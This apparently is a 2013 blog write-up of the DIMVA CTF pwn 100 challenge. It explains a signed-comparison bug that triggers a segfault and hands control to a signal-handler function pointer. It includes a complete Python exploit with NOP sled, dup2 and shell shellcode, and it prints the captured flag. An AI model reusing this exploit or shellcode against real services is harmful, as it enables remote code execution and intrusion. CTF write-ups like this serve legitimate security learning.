Monday, July 22, 2013

DIMVA CTF 2013 - pwn 100 - [Team xbios]

We were given a 32-bit Linux ELF executable, with NX disabled. Analysing the binary, we can see the following information

[*] The binary reads user input as read(fd, 0x806ec40, 0x800 )
[*] parse_packet() function checks for particular format of input
[*] If checks are passed, memcpy() is called

Format of Input:
STRING(ProtoSecure1.0 )(15 bytes) + BYTE to reach memcpy() + SHA256_HASH(32 bytes) + STRING used for computing hash(128 bytes) + DATA
To reach memcpy() fuction, we have to supply a suitable byte.
.text:080491E7                 cmp     [ebp+var_1A], 7Fh
.text:080491EC                 jg      short loc_8049212
.text:080491EE                 movsx   ecx, [ebp+var_1A]
.text:080491F2                 mov     eax, [ebp+var_20]
.text:080491F5                 add     eax, 30h
.text:080491F8                 mov     edx, eax
.text:080491FA                 lea     eax, [ebp+dest]
.text:08049200                 mov     [esp+8], ecx    ; n
.text:08049204                 mov     [esp+4], edx    ; src
.text:08049208                 mov     [esp], eax      ; dest
.text:0804920B                 call    _memcpy
Jg does a signed comparison, 0x80 sets the sign flag and jg is not taken. This leads us to memcpy(). movsx ecx, [ebp+var_1A] causes memcpy to have very large size parameter, tiggering SIGSEGV in libc. Now the signal handler is called.

In the segfault_sigaction(), we can control the call to function pointer.
.text:08049096                 mov     eax, [ebp+var_1C]
.text:08049099                 call    eax                 
Our idea of exploit is to overwrite the function pointer with the address of our payload. The remote application provides us with the information of certain registers.
Current context:

EAX: 0xffffcf0c
ESI: 0xffffd2e8
EDI: 0x805815c
ECX: 0xffffcf0c
ESP: 0xffffc620
EBP: 0xffffce78
Debugging the binary locally, I noticed that EDX points to the user supplied data. Since the offset to address pointed to by EDX from EBP is constant, we the compute the value in EDX using the value in EBP.
EBP - 1592
hex(0xffffce78 - 1592)
'0xffffc840' == EDX
Now we have the address of user supplied data in remote machine. Here is the final exploit
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 6666
port = 1116
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )         # 18 bytes

shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256("A"*128).digest()
string_for_hash = "A"*128
payload = (struct.pack("B",0x90) * 1300 + dup2 + shell + struct.pack("<I", 0xffffc840+200)) 
code = (format + hash + string_for_hash + payload)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee3ccdd510d0a8faccc8830f61bd

No comments :

Post a Comment